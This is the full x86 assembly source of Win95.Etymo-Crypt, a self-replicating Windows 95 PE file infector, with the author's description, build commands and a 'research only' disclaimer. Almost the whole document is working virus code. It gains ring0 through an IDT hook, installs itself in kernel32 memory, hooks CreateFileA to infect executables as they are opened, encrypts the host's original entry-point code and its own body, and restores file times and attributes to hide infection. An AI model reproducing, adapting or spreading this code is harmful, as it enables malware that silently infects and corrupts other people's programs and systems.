; ************************************************************************* ; ******************** ******************** ; ******************** Win95.Etymo-Crypt ******************** ; ******************** by ******************** ; ******************** BLACK JACK ******************** ; ******************** ******************** ; ************************************************************************* comment ~ NAME: Win95.Etymo-Crypt AUTHOR: Black Jack [independant Austrian Win32asm virus coder] CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack TYPE: Win9x global ring3 resident parasitic PE infector SIZE: 1308 bytes DESCRIPTION: When an infected file is run, the virus gets control. It gains ring0 by the standart IDT modifying trick. But it doesn't stay resident in ring0 (hooking VxD calls), but it just uses its ring0 privilege to write to the write-protected kernel32 memory: it copies itself into a gap in kernel32 in memory (between the header and the start of the first section, like nigr0's Win95.K32 virus) and hooks the CreateFileA API. Whenever the virus intercepts a file open now, it checks if the opened file is an infectable, uninfected PE EXE and infects it if all is ok. The infection process is a bit unusual: The virus creates a new section called ".vdata" (with standart data section attributes) and saves there the code from the entrypoint, after it has been encrypted against the virusbody. Then the entrypoint is overwritten with virus code, most of it encrypted again. The attributes of the code section are not modified, the virus doesn't need the write attribute set, because it only modifies its data when it is in ring0. The pro of this infection method is that there are no sections with unusual attributes. KNOWN BUGS: Since the virus needs to be resident to restore control to the host, there is no need for checking the OS or preventing errors with SEH, because infected files will crash under WinNT anyways, there's no way to prevent that. Because of that unbound import stuff, the virus only catches very few file opens. In a kernel32.dll infector this would be easy to prevent by changing the timedate stamp of kernel32.dll. In this case this doesn't work, because the system checks this stamp after the kernel32 has been loaded into memory and will give error messages if it has been changed each times the user tries to start a program. Another possible solution, patching the entry point of the hooked API with the JMP_virus instruction, like nigr0 and Bumblebee do, won't work too, because with my residency method the kernel memory stays write protected. And so this virus is a slow infector, but it still catches enough file opens to replicate successfully. ASSEMBLE WITH: tasm32 /mx /m etymo.asm tlink32 /Tpe /aa etymo.obj,,, import32.lib there's no need for PEWRSEC or a similar tool, because the virus code is supposed to run in a read-only section anyways. DISCLAIMER: I do *NOT* support the spreading of viruses in the wild. Therefore, this source was only written for research and education. Please do not spread it. The author can't be hold responsible for what you decide to do with this source. PS: Greetings go to Gilgalad for the name of this virus! ~ ; =========================================================================== virussize EQU (virus_end - virus_start) workspace EQU 10000 Extrn MessageBoxA:Proc ; only for 1st gen Extrn ExitProcess:Proc 386p model flat ; First generation code is in the data section: data start: push 0 ; show stupid messagebox push offset caption push offset message push 0 call MessageBoxA JMP virus_start quit_1st_gen: ; quit program push 0 ; exit code push 0 ; ret address of call push offset ExitProcess ; can't do a real call, RET ; because this code is moved caption db "Black Jack strikes again...", 0 message db "Press OK to run the Win95.Etymo-Crypt virus", 0 skip_decryption_1st_gen: mov esi, offset new_bytes ; skip the decryption in the mov edi, offset jmp_skip_decryption_1st_gen ; first generation movsb movsd JMP over_encryption new_bytes: mov ecx, ((virus_end - encrypted)/4) ; Virus body is in the code section: code virus_start: ; We have to access the section with the original host code from ring3 first, ; because if we access it first from ring0, it is not mapped yet and the ; virus will cause an exception. besides, the first dword of the encrypted ; host code is also the key for the virus decryption. db 0A1h ; mov eax, [imm32] org_host_code_VA dd offset quit_1st_gen call next ; go to ring0 calling routine ; ----- FIRST PART OF RING0 CODE -------------------------------------------- r0proc: pop ebp ; offset of end_next label sub ebp, (end_next - virus_start) ; EBP=delta offset push ebp ; is also true offset of ; virus start in memory, ; where we will return to mov dword ptr [edx+5*8], esi ; restore interrupt mov dword ptr [edx+5*8+4], edi ; descriptor lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory jmp_skip_decryption_1st_gen: JMP skip_decryption_1st_gen ; skip decryption in first ; generation. will be ; replaced with: ; mov ecx, ((virus_end - encrypted)/4) decrypt_virus_body: dec edi ; go to previous dword dec edi dec edi dec edi xor dword ptr [edi], eax ; decrypt one dword mov eax, dword ptr [edi] ; decrypted dword is new key LOOP decrypt_virus_body ; loop until all is decrypted JMP encrypted ; jump to code that was just ; decrypted. ; ----- JUMP TO RING0 ------------------------------------------------------- next: push edx ; reserve room on stack sidt [esp-2] ; get IDT address pop edx ; EDX=IDT address mov esi, dword ptr [edx+5*8] ; save old interrupt mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI pop ebx ; get address of ring0 proc mov word ptr [edx+5*8], bx ; write offset of our ring0 shr ebx, 16 ; procedure into interrupt mov word ptr [edx+5*8+6], bx ; descriptor int 5 ; call our ring0 code! end_next: ; no IRET to here. ; ----- MAIN ENCRYPTED RING0 CODE ------------------------------------------- encrypted: ; now we decrypt the original start code of the host, which has been ; encrypted against the virus body. mov esi, ebp ; ESI=start of virus body mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code xor ecx, ecx ; ECX=0 decrypt_loop: lodsb sub byte ptr [edi+ecx], al inc ecx lodsb xor byte ptr [edi+ecx], al inc ecx lodsb add byte ptr [edi+ecx], al inc ecx lodsb xor byte ptr [edi+ecx], al inc ecx cmp ecx, virussize ; all decrypted? JB decrypt_loop ; loop until all is done over_encryption: ; the kernel32 address is hardcoded, because this is virus is only Win95 ; compatible anyways mov eax, 0BFF70000h ; EAX=kernel32 offset mov ebx, eax ; EBX=EAX add ebx, [eax+3Ch] ; EBX=PE header VA mov edi, [ebx+54h] ; header size add edi, eax ; EDI=virus VA cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is JE already_resident ; residency marker push edi ; save virus VA in kernel32 ; ----- SEARCH API ADDRESSES ------------------------------------------------ mov edx, [ebx+78h] ; EDX=export directory RVA add edx, eax ; EDX=export directory VA lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs ; to API names lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the ; API adresses find_API: xor ecx, ecx ; ECX=0 (API names counter) search_loop: pusha ; save all registers push eax ; save EAX (kernel32 offset) lodsd ; get offset of API name or eax, eax ; all done? JZ all_found add eax, ebp ; fixup with delta offset xchg eax, esi ; ESI=VA of a needed API name pop eax ; restore EAX (kernel32 offs) mov edi, [edx+20h] ; EDI=AddressOfNames RVA add edi, eax ; EDI=AddressOfNames VA mov edi, [edi+ecx*4] ; EDI=RVA of API Name add edi, eax ; EDI=VA of API Name cmp_loop: lodsb ; get char from our API name scasb ; equal to the one in k32 ? JNE search_on_API ; if not,try next exported API or al, al ; end of name? JZ found_API ; we've found an needed API! JMP cmp_loop ; go on with name compare search_on_API: popa ; restore all registers inc ecx ; try next API in exports JMP search_loop ; go on found_API: popa ; restore all registers shl ecx, 1 ; ECX=ECX*2 (index ordinals) add ecx, [edx+24h] ; AddressOfOrdinals RVA movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal shl ecx, 2 ; ECX=ECX*4 add ecx, [edx+1Ch] ; AddressOfFunctions RVA add ecx, eax ; ECX=VA of API RVA mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it mov ecx, [ecx] ; ECX=API RVA push eax ; save EAX (kernel32 base) add eax, ecx ; EAX=API VA! stosd ; store it! lodsd ; do the next API (add esi,4) pop eax ; restore EAX (kernel32 base) JMP find_API ; do next API. all_found: pop eax ; remove EAX from stack popa ; restore all registers ; last found API is hooked mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA mov edx, [ebx+54h] ; kernel32 header size ; (virus RVA in kernel32) add edx, (hook - virus_start) ; RVA virus hook in kernel32 mov [ecx], edx ; hook API! pop edi ; restore EDI:virus VA in k32 mov esi, ebp ; ESI=start of virus in mem mov ecx, virussize ; ECX=virussize cld ; clear directory flag rep movsb ; move virus to TSR location! sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32 JMP restore_host ; restore host already_resident: add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32 restore_host: mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset ; of original host code JMP edi ; go to go_on_r0 in kernel32 go_on_r0: mov edi, ebp ; EDI=virus/host entrypoint mov ecx, virussize ; ECX=virussize cld ; clear directory flag rep movsb ; move host code back! iretd ; go to original entry point ; in ring3! ; ----- TSR VIRUS HOOK OF CreateFileA --------------------------------------- hook: push eax ; reserve room on stack for ; return address pushf ; save flags pusha ; save all registers call TSR_next ; get delta offset TSR_next: pop ebp sub ebp, offset TSR_next mov eax, [ebp+offset CreateFileA] ; address of original routine mov [esp+9*4], eax ; set return address mov esi, [esp+11*4] ; get address of filename push esi ; save it search_ext: lodsb ; get a byte from filename or al, al ; end of filename? JNZ search_ext ; search on mov eax, [esi-4] ; get extension in AX pop esi ; restore filename ptr in ESI or eax, 00202020h ; make lowercase cmp eax, "exe" ; is it an EXE file? JNE exit_hook ; if not, then exit push esi ; offset filename call [ebp+offset GetFileAttributesA] ; get file attribtes inc eax ; -1 means error JZ exit_hook dec eax push eax ; save attributes and push esi ; filename ptr so we can ; restore the attribs later push 80h ; normal attributes push esi call [ebp+offset SetFileAttributesA] ; reset file attributes or eax, eax ; 0 means error JZ reset_attributes push 0 ; template file (shit) push 80h ; file attributes (normal) push 3 ; open existing push 0 ; security attributes (shit) push 0 ; do not share file push 0C0000000h ; read/write mode push esi ; pointer to filename call [ebp+offset CreateFileA] ; OPEN FILE. inc eax ; EAX= -1 (Invalid handle) JZ reset_attributes dec eax push eax ; save filehandle xchg edi, eax ; EDI=filehandle sub esp, 3*8 ; reserve space on stack ; to store the filetimes mov ebx, esp ; get the filetimes to the push ebx ; reserved place on stack add ebx, 8 push ebx add ebx, 8 push ebx push edi ; filehandle call [ebp+offset GetFileTime] ; get the filetimes or eax, eax ; error? JZ closefile push 0 ; high file_size dword ptr push edi call [ebp+offset GetFileSize] ; get the filesize to EAX inc eax ; -1 means error JZ closefile dec eax mov ebx, esp ; save addresses of filetimes push ebx ; for the API call to restore add ebx, 8 ; them later push ebx add ebx, 8 push ebx push edi push edi ; filehandle for SetEndofFile ; for the SetFilePointer at ; the end to truncate file push 0 ; move relative to filestart push 0 ; high word of file pointer push eax ; filesize push edi ; filehandle add eax, workspace push 0 ; name file mapping obj (shit) push eax ; low dword of file_size push 0 ; high dword of file_size push 4 ; PAGE_READWRITE push 0 ; security attributes (shit) push edi call [ebp+offset CreateFileMappingA] or eax, eax ; error happened? JZ error_createfilemapping push eax ; save maphandle for ; CloseHandle push 0 ; map the whole file push 0 ; low dword of fileoffset push 0 ; high dword of fileoffset push 2 ; read/write access push eax ; maphandle call [ebp+offset MapViewOfFile] or eax, eax JZ closemaphandle push eax ; save mapbase for ; UnmapViewOfFile cmp word ptr [eax], "ZM" ; exe file? JNE closemap ; if not, then exit cmp word ptr [eax+18h], 40h ; new executable header? JNE closemap ; if not, then exit add eax, [eax+3Ch] ; EBX=new header address cmp dword ptr [eax], "EP" ; PE file? JNE closemap ; if not, then exit test word ptr [eax+16h], 0010000000000000b ; DLL ? JNZ closemap ; if yes, then exit movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader mov ebx, eax ; EBX=offset PE header add ebx, 18h ; SizeOfNTHeader add ebx, ecx ; EBX=first section header push ebx ; save it find_code_section: mov ecx, [eax+28h] ; ECX=EntryRVA sub ecx, [ebx+0Ch] ; Virtualaddress of section sub ecx, [ebx+10h] ; SizeOfRawData JB found_code_section ; we found the code section! add ebx, 40 ; next section JMP find_code_section ; search on found_code_section: mov edx, [eax+28h] ; EDX=EntryRVA sub edx, [ebx+0Ch] ; Virtualaddress add edx, [ebx+14h] ; AddressOfRawData ; EDX=RAW ptr to entrypoint pop ebx ; EBX=first section header cmp ecx, -virussize ; enough room left in the JG closemap ; section for the virus body? mov ecx, [esp] ; ECX=mapbase add ecx, edx ; ECX=entrypoint in Filemap cmp byte ptr [ecx], 0A1h ; already infected ? JE closemap ; if so, then exit push edx ; save RAW entrypoint address movzx edx, word ptr [eax+6] ; NumberOfSections dec edx imul edx, edx, 40 add ebx, edx ; EBX=last section header inc word ptr [eax+6] ; increase NumberOfSections mov dword ptr [ebx+40+00h], "adv." ; name ".vdata" mov dword ptr [ebx+40+04h], "at" mov dword ptr [ebx+40+08h], virussize ; Virtualsize mov edx, [ebx+0Ch] ; VirtualAddress add edx, [ebx+08h] ; VirtualSize mov ecx, [eax+38h] ; SectionAlign call align_EDX mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress add edx, virussize ; new ImageSize call align_EDX ; align to SectionAlign mov dword ptr [eax+50h], edx ; store new ImageSize mov edx, virussize mov ecx, [eax+3Ch] ; FileAlign call align_EDX ; align virsize to FileAlign mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData mov edx, [ebx+14h] ; PointerToRawData add edx, [ebx+10h] ; SizeOfRawData call align_EDX ; align new section ; raw offset to FileAlign mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData add edx, [ebx+40+10h] ; SizeOfRawData mov dword ptr [esp+4*4], edx ; new filesize mov dword ptr [ebx+40+18h], 0 ; Relocation shit mov dword ptr [ebx+40+1Ch], 0 mov dword ptr [ebx+40+20h], 0 mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the ; standart for data sections mov edx, dword ptr [ebx+40+0Ch] ; RVA host code add edx, [eax+34h] ; add ImageBase to get VA pop esi ; ESI=RAW entrypoint address pop eax ; EAX=mapbase push eax ; we still need it on stack add esi, eax ; ESI=entrypoint in FileMap push esi ; save it on stack mov edi, dword ptr [ebx+40+14h] ; PointerToRawData add edi, eax ; start of new section in map mov ecx, virussize ; bytes to move push ecx ; save virussize on stack cld mov eax, edi ; EAX=new section in FileMap rep movsb ; of entry point code to ; newly created section pop ecx ; ECX=virussize pop edi ; EDI=entrypoint in Filemap lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory rep movsb ; move virus body to ; original Entrypoint of File mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of ; original host start code push edi ; Save end of virus body ; in Filemap mov esi, edi ; ESI=virus end in Filemap sub esi, virussize ; ESI=virus start in Filemap xchg edi, eax ; EDI=start of new section ; Encrypt the code from the original entry point against the virus body. encrypt_loop: lodsb add byte ptr [edi+ecx], al inc ecx lodsb xor byte ptr [edi+ecx], al inc ecx lodsb sub byte ptr [edi+ecx], al inc ecx lodsb xor byte ptr [edi+ecx], al inc ecx cmp ecx, virussize ; all encrypted? JB encrypt_loop ; if not, then crypt on ; and now the main part of the virus body is encrypted itself. It is crypted ; from the end of the virus body upwards, for each dword is the next dword ; used as crypt key. The first key is the first dword of the encrypted ; host code. mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords mov eax, dword ptr [edi] ; initial key pop edi ; end of virus in filemap encrypt_virus_body: dec edi ; go to previous dword dec edi dec edi dec edi mov ebx, dword ptr [edi] ; this dword is the next key xor dword ptr [edi], eax ; encrypt it with this key xchg ebx, eax ; change keys LOOP encrypt_virus_body ; LOOP until encryption done ; the parameters for the following API calls have already been pushed on the ; stack while the opening process of the file closemap: call [ebp+offset UnmapViewOfFile] ; unmap file closemaphandle: call [ebp+offset CloseHandle] ; close map handle error_createfilemapping: call [ebp+offset SetFilePointer] ; set file pointer to EOF call [ebp+offset SetEndOfFile] ; truncate file here call [ebp+offset SetFileTime] ; restore filetimes closefile: add esp, 8*3 ; remove filetimes from stack call [ebp+offset CloseHandle] ; close file reset_attributes: call [ebp+offset SetFileAttributesA] ; reset attributes exit_hook: popa ; restore all registers popf ; restore flags ret ; go to original API routine ; ----- ALIGN SUBROUTINE ---------------------------------------------------- ; aligns EDX to ECX align_EDX: push eax ; save EAX push edx ; save EDX xchg eax, edx ; EAX=value to align xor edx, edx ; EDX=0 div ecx ; divide EDX:EAX by ECX pop eax ; restore old EDX in EAX or edx, edx ; EDX=mod of division JZ already_aligned ; already aligned? add eax, ecx ; if not align sub eax, edx ; EDX=mod already_aligned: xchg eax, edx ; EDX=aligned value pop eax ; restore EAX ret db "[Win95.Etymo-Crypt] by Black Jack", 0 db "This virus was written in Austria in May/June/July 2000", 0 names_RVA_table: dd (n_GetFileAttributesA - virus_start) dd (n_SetFileAttributesA - virus_start) dd (n_GetFileTime - virus_start) dd (n_GetFileSize - virus_start) dd (n_CreateFileMappingA - virus_start) dd (n_MapViewOfFile - virus_start) dd (n_UnmapViewOfFile - virus_start) dd (n_SetFilePointer - virus_start) dd (n_SetEndOfFile - virus_start) dd (n_CloseHandle - virus_start) dd (n_SetFileTime - virus_start) dd (n_CreateFileA - virus_start) dd 0 n_GetFileAttributesA db "GetFileAttributesA", 0 n_SetFileAttributesA db "SetFileAttributesA", 0 n_GetFileTime db "GetFileTime", 0 n_GetFileSize db "GetFileSize", 0 n_CreateFileMappingA db "CreateFileMappingA", 0 n_MapViewOfFile db "MapViewOfFile", 0 n_UnmapViewOfFile db "UnmapViewOfFile", 0 n_SetFilePointer db "SetFilePointer", 0 n_SetEndOfFile db "SetEndOfFile", 0 n_CloseHandle db "CloseHandle", 0 n_SetFileTime db "SetFileTime", 0 n_CreateFileA db "CreateFileA", 0 API_RVAs: GetFileAttributesA dd ? SetFileAttributesA dd ? GetFileTime dd ? GetFileSize dd ? CreateFileMappingA dd ? MapViewOfFile dd ? UnmapViewOfFile dd ? SetFilePointer dd ? SetEndOfFile dd ? CloseHandle dd ? SetFileTime dd ? CreateFileA dd ? hook_API dd ? if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords db (4-(($-virus_start) mod 4)) dup(0) endif virus_end: end start